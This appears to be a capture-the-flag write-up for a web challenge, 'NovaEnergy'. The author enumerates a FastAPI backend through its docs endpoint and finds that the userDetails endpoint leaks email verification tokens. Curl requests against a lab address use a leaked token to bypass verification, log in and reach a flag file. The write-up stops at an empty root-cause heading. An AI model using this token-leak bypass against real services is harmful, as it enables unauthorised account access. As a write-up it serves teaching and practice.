

NovaEnergy

Easy

1. Overview

After walking through the webpage, all core feature I have seen are in `static/api.js` and `static/auth.js`. Looking for `api.js` source code, you can see **FastAPI backend**, which is used for this server backend. In **FastAPI backend**, it has a `docs` api for all api can use. I try for `/api/docs` and it is the endpoint api for `docs`!

```
// API client module - calls FastAPI backend directly
const API = {
  baseUrl: '/api', // Direct FastAPI URL
```

GoNuclear Vault System 0.1.0 OAS 3.1

/api/openapi.json

Servers

/api

Authorize



default

POST /login Login For Access Token

POST /register Register User

POST /userDetails Get User Details

POST /email-verify Verify Email Token

POST /files/upload Upload File

GET /files List Files

GET /files/{file_id} Get File

DELETE /files/{file_id} Delete File

I try to register, but only `@gonuclear.com` email can create account, and when I try to login, my account need to `active`. Reading `docs` and the `email-verify` is need for create and `active` account!

Code	Details
400 <i>Undocumented</i>	Error: Bad Request Response body <pre>{ "detail": "Inactive user" }</pre>

POST **/email-verify** Verify Email Token

Parameters

No parameters

Request body **required**

Example Value	Schema
<pre>{ "email": "user@example.com", "token": "string"}</pre>	

Verify email need token

File handling features are provided by server, I think attack vector can be file upload, but I need to login first!

POST	/files/upload	Upload File	🔒 ▼
GET	/files	List Files	🔒 ▼
GET	/files/{file_id}	Get File	🔒 ▼
DELETE	/files/{file_id}	Delete File	🔒 ▼
GET	/files/{file_id}/download	Download File	🔒 ▼

2. Enumeration

After register, I don't think server have my `userDetail`, but I try for it and Boom!! It have my token for verify my email!

Code	Details
200	Response body <pre>{ "id": 2, "email": "user@gonuclear.com", "is_verified": false, "created_at": "2026-04-26T02:35:25.950964", "verifyToken": "0f8f1a83-7864-46fa-b654-b504ce8771c9", "last_login": null }</pre>

I try for admin email to get admin token, I think it can be useful sometime.

Code	Details
200	Response body <pre>{ "id": 1, "email": "admin@gonuclear.com", "is_verified": true, "created_at": "2025-05-19T06:02:30.265632", "verifyToken": null, "last_login": "2025-06-18T04:02:30.265647" }</pre>

Wow, admin account doesn't have token, and no features have need it, only `email-verify`, so I think it not useful!!

3. Exploitation

Now, I try to exploit this logic vulnerability, I verify my account and login!

Curl

```
curl -X 'POST' \  
  'http://154.57.164.65:30253/api/email-verify' \  
  -H 'accept: application/json' \  
  -H 'Content-Type: application/json' \  
  -d '{  
    "email": "user@gonuclear.com",  
    "token": "0f8f1a83-7864-46fa-b654-b504ce8771c9"  
  }'
```

Request URL

```
http://154.57.164.65:30253/api/email-verify
```

Server response

Code

Details

200

Response body

```
{  
  "message": "Email verified successfully"  
}
```

```
curl -X 'POST' \
  'http://154.57.164.65:30253/api/login' \
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
    "email": "user@gonuclear.com",
    "password": "string"
  }'
```

http://154.57.164.65:30253/api/login

Code	Details
------	---------

Response body

```
{  
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXLTJ5bnVpdj09",  
  "token_type": "bearer"  
}
```

6 / 7

 GoNuclear

user@gonuclear.com

Logout

Welcome back!

6

Files Stored

5.51 KB

Storage Used

5 GB

Storage Limit

Your Files

Upload Files

Search files...

Sort by Name

All Files

 employee_directory.xlsx

1.42 KB

Jun 14, 2025

Download

Share

Delete

 enrichment_protocols.txt

855 Bytes

Jun 7, 2025

Download

Share

Delete

 flag.txt

33 Bytes

May 22, 2025

Download

Share

Delete

Oh no! It has flag here! Download and read this!!

4. Root Cause